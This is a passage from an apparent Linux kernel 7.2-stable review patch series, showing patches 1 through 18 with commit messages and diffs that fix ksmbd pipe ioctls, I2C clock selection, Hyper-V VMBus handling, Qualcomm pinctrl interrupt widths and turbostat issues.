kernel/watch_queue.c | 11 +- kernel/workqueue.c | 27 +++-- lib/crypto/arm64/poly1305-armv8.pl | 2 +- lib/crypto/poly1305.c | 2 +- net/bridge/br_multicast.c | 13 ++- net/core/page_pool.c | 3 +- net/core/sock.c | 3 + net/ipv4/fib_semantics.c | 2 +- net/ipv4/tcp.c | 18 ++- net/ipv4/tcp_cong.c | 4 +- net/ipv4/tcp_dctcp.c | 4 +- net/ipv4/tcp_minisocks.c | 2 +- net/ipv4/tcp_output.c | 2 +- net/ipv6/calipso.c | 6 +- net/iucv/af_iucv.c | 42 ++++--- net/mac802154/ieee802154_i.h | 7 +- net/mac802154/main.c | 1 + net/mac802154/scan.c | 51 ++++++--- net/netlink/af_netlink.c | 10 +- net/rds/rdma_transport.c | 38 ++++++- net/sched/act_api.c | 11 +- net/sched/cls_flower.c | 5 + net/sctp/inqueue.c | 6 +- net/sctp/socket.c | 33 ++++-- net/tipc/node.c | 2 + net/vmw_vsock/af_vsock.c | 49 ++++++-- net/vmw_vsock/virtio_transport_common.c | 3 +- net/vmw_vsock/vmci_transport.c | 34 +++++- samples/pidfd/Makefile | 2 +- security/selinux/hooks.c | 36 ++---- sound/soc/amd/yc/pci-acp6x.c | 38 ++++++- sound/soc/codecs/cs42l52.c | 2 +- sound/soc/codecs/cs42l56.c | 2 +- sound/soc/codecs/max98371.c | 2 +- sound/soc/codecs/nau8822.c | 4 +- sound/soc/codecs/pcm3168a.c | 2 +- sound/soc/codecs/wm8978.c | 4 +- sound/soc/intel/avs/pcm.c | 2 +- sound/soc/sof/ipc4-topology.c | 9 +- sound/soc/sof/sof-client.c | 6 +- sound/soc/stm/stm32_spdifrx.c | 2 +- tools/arch/x86/include/asm/insn.h | 2 +- tools/bootconfig/main.c | 3 +- tools/gpio/Makefile | 6 + tools/power/x86/turbostat/turbostat.c | 74 +++++++----- 238 files changed, 2279 insertions(+), 949 deletions(-)
Greg Kroah-Hartman
maintainerPATCH 1/242 ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Gael Blivet <[email protected]>
[ Upstream commit a3bcea7c819a6c69ca937a68631311711bf20e66 ]
smb2_ioctl() rejects FSCTL_PIPE_TRANSCEIVE with STATUS_OBJECT_NAME_NOT_FOUND before fsctl_pipe_transceive() runs. RPC pipe IDs live in sess->rpc_handle_list, a separate namespace from the ksmbd_file table the generic ksmbd_lookup_fd_slow() gate searches, so the lookup always misses.
Found while testing generic SMB browsing (Finder's "Connect to Server"): every DCE/RPC bind over a named pipe (SRVSVC, WKSSVC, SAMR, LSARPC) failed right after CREATE. Adding FSCTL_PIPE_TRANSCEIVE to the same no_fileid_ioctl exemption as FSCTL_PIPE_WAIT fixes it, confirmed by testing a build with and without the change.
--- fs/smb/server/smb2pdu.c | 1 + 1 file changed, 1 insertion(+)
fs/smb/server/smb2pdu.c +1 -0
@@ -9634,6 +9634,7 @@ int smb2_ioctl(struct ksmbd_work *work)case FSCTL_QUERY_NETWORK_INTERFACE_INFO :case FSCTL_VALIDATE_NEGOTIATE_INFO :case FSCTL_PIPE_WAIT : +case FSCTL_PIPE_TRANSCEIVE : no_fileid_ioctl = true;break ;default :
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 2/242 i2c: qcom-geni: Restore the source-clock selection policy
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Abel Vesa <[email protected]>
[ Upstream commit 8cb5c17be3a2fadc41075d04ce1c24c831546aaf ]
Currently, the source clock lookup prefers 32 MHz whenever that rate is available, regardless of the rate configured by the platform. Before the switch to looking up the clock index, the driver used the 32 MHz timing table only if the current source clock rate was 32 MHz, and the 19.2 MHz table otherwise.
On X1E80100 CRD, this results in switching the source clock from 19.2 MHz to 32 MHz, which causes intermittent failures when probing the I2C HID keyboard. These range from corrupted HID descriptors to failed resets and transfer timeouts, which also affect the touchpad on the same bus.
Restore the original selection policy: use 32 MHz if already selected, otherwise request 19.2 MHz. Look up the index for the selected rate and keep the check that rejects higher-frequency multiples. This retains the dynamic clock index lookup without preferring 32 MHz on platforms that previously used 19.2 MHz. Report the requested rate if the lookup fails.
--- drivers/i2c/busses/i2c-qcom-geni.c | 37 ++++++++++++++++-------------- 1 file changed, 20 insertions(+), 17 deletions(-)
drivers/i2c/busses/i2c-qcom-geni.c +20 -17
@@ -188,28 +188,31 @@ static const struct geni_i2c_clk_fld geni_i2c_clk_map_32mhz[] = {static int geni_i2c_clk_map_idx (struct geni_i2c_dev *gi2c) {const struct geni_i2c_clk_fld *itr; -unsigned long res_freq; +unsigned long req_freq, res_freq; +int ret;/* -* Frequency counter tables are calibrated for a specific source -* clock frequency and are not valid for any multiple of it -* (e.g. 64 MHz, 128 MHz). -* Use exact=true and verify res_freq matches req_freq literally -* to reject harmonics: a 64 MHz clock that divides evenly to -* 32 MHz would pass exact matching but produce double the intended -* I2C frequency with these counter values. +* Use 32 MHz only if already selected, otherwise use 19.2 MHz. +* Preferring 32 MHz merely because DFS supports it breaks I2C +* transfers on X1E80100 CRD. */ -if (!geni_se_clk_freq_match (&gi2c->se,GENI_SE_CLK_32MHZ , - &gi2c->clk_idx, &res_freq, true) && - res_freq ==GENI_SE_CLK_32MHZ ) { +if (clk_get_rate (gi2c->se.clk) ==GENI_SE_CLK_32MHZ ) { + req_freq =GENI_SE_CLK_32MHZ ; itr = geni_i2c_clk_map_32mhz; - }else if (!geni_se_clk_freq_match (&gi2c->se,GENI_SE_CLK_19P2MHZ , - &gi2c->clk_idx, &res_freq, true) && - res_freq ==GENI_SE_CLK_19P2MHZ ) { - itr = geni_i2c_clk_map_19p2mhz; }else { -dev_err (gi2c->se.dev, -"Unsupported SE source clock: must be exactly 32 MHz or 19.2 MHz\n" ); + req_freq =GENI_SE_CLK_19P2MHZ ; + itr = geni_i2c_clk_map_19p2mhz; + } + + ret =geni_se_clk_freq_match (&gi2c->se, req_freq, &gi2c->clk_idx, + &res_freq, true); +if (ret) +return dev_err_probe (gi2c->se.dev, ret, +"Failed to find SE source clock %lu Hz\n" , + req_freq); +if (res_freq != req_freq) { +dev_err (gi2c->se.dev,"Unsupported SE source clock %lu Hz\n" , + res_freq);return -EINVAL ; }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 3/242 soc/tegra: fuse: Add missing newline to APBMISC error message
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jinhui Guo <[email protected]>
[ Upstream commit 2f4a0fb66d313f03832f061bc3ec25b33c8198c9 ]
The error message printed by tegra_acpi_init_apbmisc() when failing to get APBMISC memory resources is missing a trailing newline. This can cause the message to be merged with the following kernel log line, making the log harder to read.
Add the missing newline to keep the error output properly formatted.
--- drivers/soc/tegra/fuse/tegra-apbmisc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/soc/tegra/fuse/tegra-apbmisc.c +1 -1
@@ -309,7 +309,7 @@ void tegra_acpi_init_apbmisc(void) ret =acpi_dev_get_memory_resources (adev, &resource_list);if (ret <0 ) { -pr_err ("failed to get APBMISC memory resources" ); +pr_err ("failed to get APBMISC memory resources\n" ); goto out_put_acpi_dev; }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 4/242 ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Oberhollenzer <[email protected]>
[ Upstream commit 2fabd2f406d0cf787be47b3bbeea99b30004033d ]
Commit d0bdd8bb7f35 ("ARM: dts: ti/omap: dra7: fix redundant clock divider definition") removes the clock divider definition from optfclk_pciephy_div, reasoning that the table is redundant, as it contains the values 1 and 2, while also setting ti,max-div to 2 while ti,min-div is implicitly initialized to 1.
What that commit missed was the fact that the values in the table are in reverse order, i.e. first 2, then 1.
As is clearly described in the documentation, the ordering is signifficant, the actual values for the register setting are derived from the index. If no table is specified, the driver assumes that the register value is divider - 1 (see also _get_val in drivers/clk/ti/divider.c).
What is in fact redundant is the value of ti,max-div that is derived from the table if none is specified. To satisfy device tree semantic linters, it is removed instead.
--- arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi +1 -1
@@ -1376,8 +1376,8 @@ optfclk_pciephy_div: clock-optfclk-pciephy-div-8@4a00821c { clocks = <&apll_pcie_ck>; #clock-cells = <0>; reg = <0x021c>; + ti,dividers = <2>, <1>; ti,bit-shift = <8>; - ti,max-div = <2>; }; apll_pcie_clkvcoldo: clock-apll-pcie-clkvcoldo {
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 5/242 power: supply: Fix maintenance charge table kernel-doc
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Karl Mehltretter <[email protected]>
[ Upstream commit 45d4af4e80a25881b6b75e8e34872c555c43a41d ]
struct power_supply_maintenance_charge_table contains charge_safety_timer_minutes, but its kernel-doc describes safety_timer_minutes. This leaves the real member undescribed and adds a nonexistent member to the generated documentation.
Use the member's actual name.
--- include/linux/power_supply.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
include/linux/power_supply.h +3 -3
@@ -400,9 +400,9 @@ struct power_supply_vbat_ri_table {* @charge_voltage_max_uv: maintenance charging voltage that is usually a bit * lower than the constant_charge_voltage_max_uv. We can apply this settings * charge_current_max_ua until we get back up to this voltage. -* @safety_timer_minutes: maintenance charging safety timer, with an expiry -* time in minutes. We will only use maintenance charging in this setting -* for a certain amount of time, then we will first move to the next +* @charge_safety_timer_minutes: maintenance charging safety timer, with an +* expiry time in minutes. We will only use maintenance charging in this +* setting for a certain amount of time, then we will first move to the next * maintenance charge current and voltage pair in respective array and wait * for the next safety timer timeout, or, if we reached the last maintencance * charging setting, disable charging until we reach
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 6/242 power: supply: ds2780: Fix ds2780_get_capacity() returning raw value
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Xueqin Luo <[email protected]>
[ Upstream commit a58cbc8b36ec0cd00d2ba3de7d003de818a27523 ]
ds2780_get_capacity() returns the raw register value instead of 0 on success. The capacity is already stored in *capacity, so the function should return 0 to indicate success.
--- drivers/power/supply/ds2780_battery.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/power/supply/ds2780_battery.c +1 -1
@@ -304,7 +304,7 @@ static int ds2780_get_capacity(struct ds2780_device_info *dev_info,return ret; *capacity = raw; -return raw; +return 0 ; }static int ds2780_get_status (struct ds2780_device_info *dev_info,int *status)
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 7/242 soc/tegra: pmc: Fix uninitialised clock rate
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jon Hunter <[email protected]>
[ Upstream commit c5c95dbdc9011a56359df4dc00be829bbcc0b036 ]
For legacy 32-bit Tegra devices, the warning in the tegra_pmc_enter_suspend_mode() function is being triggered because the early_pmc->rate variable is never configured and hence, always 0. This issue started occurring after updating the PMC driver to create the PMC context dynamically which causes the 'rate' to be set in the new dynamic context, but missed updating the rate in the early PMC context.
Fix this by initialising the early_pmc->rate variable for 32-bit Tegra devices when the rate for the PMC context is initialised.
--- drivers/soc/tegra/pmc.c | 1 + 1 file changed, 1 insertion(+)
drivers/soc/tegra/pmc.c +1 -0
@@ -3148,6 +3148,7 @@ static int tegra_pmc_probe(struct platform_device *pdev)#if defined(CONFIG_ARM )mutex_lock (&early_pmc->powergates_lock); + early_pmc->rate = pmc->rate;iounmap (early_pmc->base); early_pmc->base = pmc->base;mutex_unlock (&early_pmc->powergates_lock);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 8/242 Drivers: hv: Avoid infinite retry loop in init_vp_index()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Waiman Long <[email protected]>
[ Upstream commit 32ea0a33e3a0fb7c10c601b43e1b2f6c06a3f5fd ]
There is a retry loop in init_vp_index() where the CPUs from a certain node are stripped out if they have already been in the allocated cpumask or not in HK_TYPE_MANAGED_IRQ housekeeping cpumask. If there is no CPU left, the allocated cpumask is ignored and the process is retried again. However, if the HK_TYPE_MANAGED_IRQ housekeeping cpumask turns out not to contain any CPU in that particular node, that will become an infinite retry loop. This particular problem was reported by sashiko [1]. This should rarely happen, but we still need to guard against this.
Fix this infinite loop problem by also skipping NUMA node that has no housekeeping CPU in the inner while loop of init_vp_index(). Also update the early abort check to check for the absence of online housekeeping CPUs instead of just the emptiness of the cpumask. As the outer for loop will only be reached if the housekeeping cpumask has at least one online CPU, a NUMA node with housekeeping CPUs will eventually be found.
--- drivers/hv/channel_mgmt.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-)
drivers/hv/channel_mgmt.c +9 -3
@@ -752,13 +752,14 @@ static void init_vp_index(struct vmbus_channel *channel)u32 i, ncpu =num_online_cpus ();cpumask_var_t available_mask;struct cpumask *allocated_mask; +const struct cpumask *node_mask;const struct cpumask *hk_mask =housekeeping_cpumask (HK_TYPE_MANAGED_IRQ );u32 target_cpu;int numa_node;if (!perf_chn || !alloc_cpumask_var (&available_mask,GFP_KERNEL ) || -cpumask_empty (hk_mask)) { + !cpumask_intersects (hk_mask, cpu_online_mask)) {/* * If the channel is not a performance critical * channel, bind it to VMBUS_CONNECT_CPU.
@@ -780,14 +781,19 @@ static void init_vp_index(struct vmbus_channel *channel) next_numa_node_id =0 ;continue ; } -if (cpumask_empty (cpumask_of_node (numa_node))) +/* +* Try next NUMA node if current NUMA node has no CPU +* or doesn't contain any housekeeping CPU. +*/ + node_mask =cpumask_of_node (numa_node); +if (!cpumask_intersects (node_mask, hk_mask))continue ;break ; } allocated_mask = &hv_context.hv_numa_map[numa_node]; retry: -cpumask_xor (available_mask, allocated_mask,cpumask_of_node (numa_node)); +cpumask_xor (available_mask, allocated_mask, node_mask);cpumask_and (available_mask, available_mask, hk_mask);if (cpumask_empty (available_mask)) {
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 9/242 x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Kelley <[email protected]>
[ Upstream commit 7b74c117e2aac78e0f723e1c9c3644451c56b0d9 ]
hv_apicid_to_vp_index() currently uses the per-cpu hypercall input and output pages. This function is called when running in VTL2 and when running in an SEV-SNP CoCo VM with no paravisor. In the former case, the output page is allocated, but in the latter case it is not, so the hypervisor stores the output VP index in memory that has not been allocated by the guest.
Fix this by using the input page for both input and output. The hypercall has very small input and output, so sharing the same page for both is straightforward. An alternative fix is to allocate the per-cpu output page when running in an SEV-SNP CoCo guest, but this uses significantly more memory, particularly with larger vCPUs counts.
--- arch/x86/hyperv/hv_init.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
arch/x86/hyperv/hv_init.c +2 -1
@@ -726,7 +726,8 @@ int hv_apicid_to_vp_index(u32 apic_id) input->partition_id =HV_PARTITION_ID_SELF ; input->apic_ids[0 ] = apic_id; - output = *this_cpu_ptr (hyperv_pcpu_output_arg); +/* Treat input as having 2 APIC IDs so output is 64-bit aligned */ + output = (void *)input +struct_size (input, apic_ids,2 ); control =HV_HYPERCALL_REP_COMP_1 |HVCALL_GET_VP_INDEX_FROM_APIC_ID ; status =hv_do_hypercall (control, input, output);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 10/242 Drivers: hv: Dont reset VMBus connection state on error/exit paths
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Kelley <[email protected]>
[ Upstream commit ec31dc39e835ccde0930daccece8c492d28282fc ]
In two places, current code forces vmbus_connection.conn_state to DISCONNECTED prior to calling vmbus_disconnect(). But vmbus_disconnect() calls vmbus_initiate_unload(), which unloads the VMBus connection only if the conn_state is CONNECTED. Consequently, the connection remains and the Hyper-V host might continue to send messages or post VMBus interrupts.
The problem was introduced in commit 74347a99e73ae ("x86/Hyper-V:
Unload vmbus channel in hv panic callback"), in that vmbus_initiate_unload() started checking the current connection state before doing the unload. This commit removed some occurrences where conn_state was forced to DISCONNECTED, but these two remained, apparently due to an oversight at the time.
Fix this by not forcing conn_state to DISCONNECTED during VMBus exit, or if a failure occurs when establishing the connection in the first place. Whatever value conn_state has at the time is then read by vmbus_initiate_unload() to determine if there is a connection to be unloaded.
--- drivers/hv/connection.c | 1 - drivers/hv/vmbus_drv.c | 1 - 2 files changed, 2 deletions(-)
drivers/hv/connection.c +0 -1
@@ -343,7 +343,6 @@ int vmbus_connect(void) cleanup:pr_err ("Unable to connect to host\n" ); - vmbus_connection.conn_state =DISCONNECTED ;vmbus_disconnect ();kfree (msginfo);
drivers/hv/vmbus_drv.c +0 -1
@@ -3049,7 +3049,6 @@ static void __exit vmbus_exit(void)hv_remove_kexec_handler ();hv_remove_crash_handler (); - vmbus_connection.conn_state =DISCONNECTED ;hv_stimer_global_cleanup ();vmbus_disconnect ();if (vmbus_irq ==-1 )
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 11/242 pinctrl: qcom: nord: fix GPIO interrupt target width
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Zhangfei Gao <[email protected]>
[ Upstream commit 68ab4a6a84b92f52650508acb60317eb76454250 ]
The TARGET_PROC field in the Nord GPIO_INTR_CFG registers occupies bits 11:8. Describe it as four bits wide so the common Qualcomm pinctrl code clears the complete field before routing an interrupt to the application processor.
Without intr_target_width, the common code uses its three-bit default mask. Since GPIO_INTR_CFG resets with TARGET_PROC set to 0xf (NONE), bit 11 remains set when the driver programs HMSS target 3. The resulting target is 0xb (HPASS_DSP_1), observed as an interrupt configuration value of 0xb1b instead of 0x31b.
The GPIO interrupt status is consequently latched, but the HMSS TLMM summary interrupt at GIC SPI 208 is never asserted. This affects all Nord GPIO interrupts using the TLMM summary path, including the Ethernet PHY interrupts on GPIO55 and GPIO141.
--- drivers/pinctrl/qcom/pinctrl-nord.c | 1 + 1 file changed, 1 insertion(+)
drivers/pinctrl/qcom/pinctrl-nord.c +1 -0
@@ -32,6 +32,7 @@ .intr_wakeup_present_bit = 6, \ .intr_wakeup_enable_bit = 7, \ .intr_target_bit = 8, \ + .intr_target_width = 4, \ .intr_target_kpss_val = 3, \ .intr_raw_status_bit = 4, \ .intr_polarity_bit = 1, \
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 12/242 pinctrl: qcom: hawi: Fix intr_target_width
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Konrad Dybcio <[email protected]>
[ Upstream commit 9d4c3e0c6a53eb390d58b8d7aaf08885e46f93fd ]
The default width of the interrupt target field doesn't match the actual register layout. Fix it.
--- drivers/pinctrl/qcom/pinctrl-hawi.c | 1 + 1 file changed, 1 insertion(+)
drivers/pinctrl/qcom/pinctrl-hawi.c +1 -0
@@ -47,6 +47,7 @@ .intr_wakeup_present_bit = 6, \ .intr_wakeup_enable_bit = 7, \ .intr_target_bit = 8, \ + .intr_target_width = 4, \ .intr_target_kpss_val = 3, \ .intr_raw_status_bit = 4, \ .intr_polarity_bit = 1, \
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 13/242 pinctrl: qcom: qcs8300: Fix intr_target_width
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Konrad Dybcio <[email protected]>
[ Upstream commit dcb5df182b37587d5ad6bb4388751bf5180957ac ]
The default width of the interrupt target field doesn't match the actual register layout. Fix it.
--- drivers/pinctrl/qcom/pinctrl-qcs8300.c | 1 + 1 file changed, 1 insertion(+)
drivers/pinctrl/qcom/pinctrl-qcs8300.c +1 -0
@@ -45,6 +45,7 @@ .intr_enable_bit = 0, \ .intr_status_bit = 0, \ .intr_target_bit = 5, \ + .intr_target_width = 4, \ .intr_target_kpss_val = 3, \ .intr_raw_status_bit = 4, \ .intr_polarity_bit = 1, \
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 14/242 ARM: configs: sama5: enable current Microchip KSZ DSA symbols
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pengpeng Hou <[email protected]>
[ Upstream commit afb1ecfeda3fc31d6300a176f4854cc62e289bf3 ]
The Microchip KSZ DSA family now uses NET_DSA_MICROCHIP_KSZ_COMMON for the common provider and NET_DSA_MICROCHIP_KSZ_SPI for SPI-attached switches.
sama5_defconfig still enables the removed KSZ9477-specific symbols even though SAMA5 device trees contain KSZ SPI switch consumers. Replace the stale entries with the current provider symbols.
--- arch/arm/configs/sama5_defconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
arch/arm/configs/sama5_defconfig +2 -2
@@ -70,8 +70,8 @@ CONFIG_BLK_DEV_SD=y # CONFIG_BLK_DEV_BSG is not set # CONFIG_SCSI_LOWLEVEL is not set CONFIG_NETDEVICES=y -CONFIG_NET_DSA_MICROCHIP_KSZ9477=m -CONFIG_NET_DSA_MICROCHIP_KSZ9477_SPI=m +CONFIG_NET_DSA_MICROCHIP_KSZ_COMMON=m +CONFIG_NET_DSA_MICROCHIP_KSZ_SPI=m # CONFIG_NET_VENDOR_BROADCOM is not set CONFIG_MACB=y # CONFIG_NET_VENDOR_CIRRUS is not set
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 15/242 pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Gilberto Conde <[email protected]>
[ Upstream commit c6c159fcdb4e9a678eda0831f971e4a3a488ec47 ]
GPIO13 supports the PWM3 function at mux select value 4, but the pingroup table leaves that slot empty and gpio13 is not listed in pwm3_groups. Selecting pwm3 on gpio13 is therefore rejected by the pinmux core:
ipq5018-tlmm: invalid group "gpio13" for function "pwm3"
The GL.iNet GL-X2000 drives its fan from PWM3 on this pin, and the vendor firmware muxes it with select value 4:
gpio13 : out low func4 8mA no pull
Add pwm3 to the fourth function slot of gpio13 and list gpio13 in pwm3_groups. With this the pin muxes as expected:
pin 13 (GPIO_13): device 1941010.pwm function pwm3 group gpio13
--- drivers/pinctrl/qcom/pinctrl-ipq5018.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/pinctrl/qcom/pinctrl-ipq5018.c +2 -2
@@ -563,7 +563,7 @@ static const char * const qdss_cti_trig_out_b1_groups[] = { };static const char *const pwm3_groups[] = { -"gpio45" , +"gpio45" ,"gpio13" , };static const char *const qdss_cti_trig_in_b1_groups[] = {
@@ -689,7 +689,7 @@ static const struct msm_pingroup ipq5018_groups[] = {PINGROUP (10 , blsp0_spi, blsp1_uart0, led0, gcc_plltest, qdss_tracedata_a, _, _, _, _),PINGROUP (11 , blsp0_spi, blsp1_uart0, _, gcc_tlmm, qdss_tracedata_a, _, _, _, _),PINGROUP (12 , blsp0_spi, blsp0_i2c, blsp1_uart0, _, gcc_plltest, qdss_tracedata_a, _, _, _), -PINGROUP (13 , blsp0_spi, blsp0_i2c, blsp1_uart0, _, qdss_tracedata_a, _, _, _, _), +PINGROUP (13 , blsp0_spi, blsp0_i2c, blsp1_uart0, pwm3, qdss_tracedata_a, _, _, _, _),PINGROUP (14 , pcie0_clk, _, _, cri_trng0, qdss_tracedata_a, _, _, _, _),PINGROUP (15 , _, _, cri_trng1, qdss_tracedata_a, _, _, _, _, _), PINGROUP(16, pcie0_wake, _, _, cri_trng, qdss_tracedata_a, _, _, _, _),
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 16/242 pinctrl: qcom: spmi-gpio: make direction changes exclusive
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Shawn Guo <[email protected]>
[ Upstream commit 19fc4240358be2a25ce8e0a49a2819588ed61c5d ]
Neither direction callback clears the opposite buffer: .direction_output() only packs PIN_CONFIG_LEVEL and .direction_input() only packs PIN_CONFIG_INPUT_ENABLE. As pmic_gpio_populate() seeds input_enabled and output_enabled from MODE_CTL, a pad left in DIGITAL_INPUT[_OUTPUT] by the bootloader ends up in DIGITAL_INPUT_OUTPUT whichever direction is requested. That leaves an input still driving the line, and makes pmic_gpio_get_direction() report an output as an input, which breaks consumers that read the direction back:
reg-fixed-voltage regulator-wcn-core-vm-1p35: setup of GPIO (default) failed: -1 reg-fixed-voltage regulator-wcn-core-vm-1p35: error -EPERM: can't get GPIO
Pack the opposite buffer's PIN_CONFIG_*_ENABLE along with the requested direction, so MODE_CTL becomes DIGITAL_INPUT or DIGITAL_OUTPUT, never both. pmic_gpio_config_set() writes the registers once after walking all configs, so this stays a single write.
An open-drain or open-source output is the exception: it only drives one rail, so pmic_gpio_get() needs the input buffer to sample the line rather than return the value last written. Program the input buffer from pad->buffer_type, which gpiolib has already updated via PIN_CONFIG_DRIVE_OPEN_DRAIN, and key pmic_gpio_get_direction() off output_enabled so such pads still read back as outputs.
Genuinely bidirectional pads can still be described that way through pinconf; the gpiolib callbacks now mean what gpiolib says they mean.
--- drivers/pinctrl/qcom/pinctrl-spmi-gpio.c | 37 +++++++++++++++++++----- 1 file changed, 29 insertions(+), 8 deletions(-)
drivers/pinctrl/qcom/pinctrl-spmi-gpio.c +29 -8
@@ -734,29 +734,50 @@ static int pmic_gpio_get_direction(struct gpio_chip *chip, unsigned pin) (!pad->input_enabled && !pad->output_enabled)) return -EINVAL; -/* Make sure the state is aligned on what pmic_gpio_get() returns */ -return pad->input_enabled ?GPIO_LINE_DIRECTION_IN :GPIO_LINE_DIRECTION_OUT ; +/* +* An open-drain or open-source pad keeps its input buffer enabled while +* driving, so the output buffer is what tells the direction. +*/ +return pad->output_enabled ?GPIO_LINE_DIRECTION_OUT :GPIO_LINE_DIRECTION_IN ; }static int pmic_gpio_direction_input (struct gpio_chip *chip,unsigned pin) {struct pmic_gpio_state *state =gpiochip_get_data (chip); -unsigned long config; +unsigned long configs[2 ]; - config =pinconf_to_config_packed (PIN_CONFIG_INPUT_ENABLE ,1 ); + configs[0 ] =pinconf_to_config_packed (PIN_CONFIG_OUTPUT_ENABLE ,0 ); + configs[1 ] =pinconf_to_config_packed (PIN_CONFIG_INPUT_ENABLE ,1 ); -return pmic_gpio_config_set (state->ctrl, pin, &config,1 ); +return pmic_gpio_config_set (state->ctrl, pin, configs, +ARRAY_SIZE (configs)); }static int pmic_gpio_direction_output (struct gpio_chip *chip,unsigned pin,int val) {struct pmic_gpio_state *state =gpiochip_get_data (chip); -unsigned long config; +struct pmic_gpio_pad *pad = state->ctrl->desc->pins[pin].drv_data; +unsigned long configs[2 ]; - config =pinconf_to_config_packed (PIN_CONFIG_LEVEL , val); +/* +* An open-drain or open-source pad only ever drives one rail, so the +* line can still be sampled while the pad is an output. Keep the input +* buffer enabled for those, so that pmic_gpio_get() reports what is on +* the wire rather than the value last written, and disable it for a +* CMOS pad, so that the pad ends up in DIGITAL_OUTPUT rather than +* DIGITAL_INPUT_OUTPUT. Program it either way, as the buffer may have +* been left in the opposite state by the bootloader or by an earlier +* direction change with a different buffer type. gpiolib applies +* PIN_CONFIG_DRIVE_OPEN_DRAIN before calling this, so buffer_type is +* already up to date here. +*/ + configs[0 ] =pinconf_to_config_packed (PIN_CONFIG_INPUT_ENABLE , + pad->buffer_type !=PMIC_GPIO_OUT_BUF_CMOS ); + configs[1 ] =pinconf_to_config_packed (PIN_CONFIG_LEVEL , val); -return pmic_gpio_config_set (state->ctrl, pin, &config,1 ); +return pmic_gpio_config_set (state->ctrl, pin, configs, +ARRAY_SIZE (configs)); }static int pmic_gpio_get (struct gpio_chip *chip,unsigned pin)
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 17/242 tools/power turbostat: Warn, but dont Err on out-dated perf systems
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <[email protected]>
[ Upstream commit 1de8307e861759386057f8683bdf0594b2c803f0 ]
Some systems in the field have perf enabled,
but their kernel perf support lacks the latest L2 stats. Warn, but don't Err on those systems, and suggest how to avoid the Warn.
--- tools/power/x86/turbostat/turbostat.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
tools/power/x86/turbostat/turbostat.c +4 -2
@@ -9471,8 +9471,10 @@ void perf_l2_init(void)free_fd_l2_percpu ();return ; } - }else -err (-1 ,"%s: cpu%d: type %d" , __func__, cpu, cpus[cpu].type); + }else { +warn ("%s: cpu%d: type %d: Update kernel perf support or use \"--hide L2MRPS,L2%%hit\" or \"--hide cache\" or \"--no-perf\"" , __func__, cpu, cpus[cpu].type); +return ; + } }BIC_PRESENT (BIC_L2_MRPS );BIC_PRESENT (BIC_L2_HIT );
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 18/242 tools/power turbostat: Fix fd_perf leak on reset
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <[email protected]>
[ Upstream commit 767c64414c4c5fffd6cbc3a1cf1fb8138b28645b ]
When turbostat notices a topology change,
it frees perf file descriptors for each CPU
to prepare to re-initialize.
Fix an off-by-one error in that per-cpu loop that resulted in a file descriptor leak of the file for the highest numbered CPU in the system.
